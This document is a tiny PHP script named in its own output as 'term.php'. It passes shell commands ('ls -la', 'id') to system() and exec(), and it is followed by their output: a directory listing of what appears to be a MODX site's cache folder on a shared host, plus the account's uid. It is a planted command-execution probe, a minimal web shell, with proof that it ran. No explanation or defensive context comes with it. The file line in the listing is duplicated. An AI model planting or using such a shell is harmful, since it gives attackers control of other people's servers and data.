<?php
echo '<pre>';
echo system('ls -la')."\n";
echo exec('id');
echo '</pre>';

total 80
drwxr-xr-x 19 bachatsky customers 4096 Dec 15 12:00 .
drwxr-xr-x 13 bachatsky customers 4096 Nov 29 12:10 ..
drwxr-xr-x  4 bachatsky customers 4096 Dec 14 17:50 action_map
drwxr-xr-x  2 bachatsky customers 4096 Dec 14 14:13 auto_publish
drwxr-xr-x  5 bachatsky customers 4096 Dec 14 14:13 context_settings
drwxr-xr-x  2 bachatsky customers 4096 Dec 14 14:08 default
drwxr-xr-x  3 bachatsky customers 4096 Dec 15 10:58 includes
drwxr-xr-x  3 bachatsky customers 4096 Dec 14 14:08 lexicon_topics
drwxr-xr-x  2 bachatsky customers 4096 Dec 14 15:21 logs
drwxr-xr-x  3 bachatsky customers 4096 Dec 14 14:14 media_sources
drwxr-xr-x  3 bachatsky customers 4096 Dec 14 14:32 menu
drwxr-xr-x  3 bachatsky customers 4096 Dec 14 14:31 mgr
drwxr-xr-x  4 bachatsky customers 4096 Dec 14 22:44 modxtalks
drwxr-xr-x  3 bachatsky customers 4096 Dec 15 06:14 packages
drwxr-xr-x  2 bachatsky customers 4096 Dec 14 14:32 phpthumb
drwxr-xr-x  4 bachatsky customers 4096 Dec 15 10:51 registry
drwxr-xr-x  3 bachatsky customers 4096 Dec 14 14:08 resource
drwxr-xr-x  3 bachatsky customers 4096 Dec 14 14:08 scripts
drwxr-xr-x  2 bachatsky customers 4096 Dec 14 14:13 system_settings
-rw-r--r--  1 bachatsky customers   79 Dec 15 12:00 term.php
-rw-r--r--  1 bachatsky customers   79 Dec 15 12:00 term.php
uid=10671(bachatsky) gid=600(customers) groups=600(customers)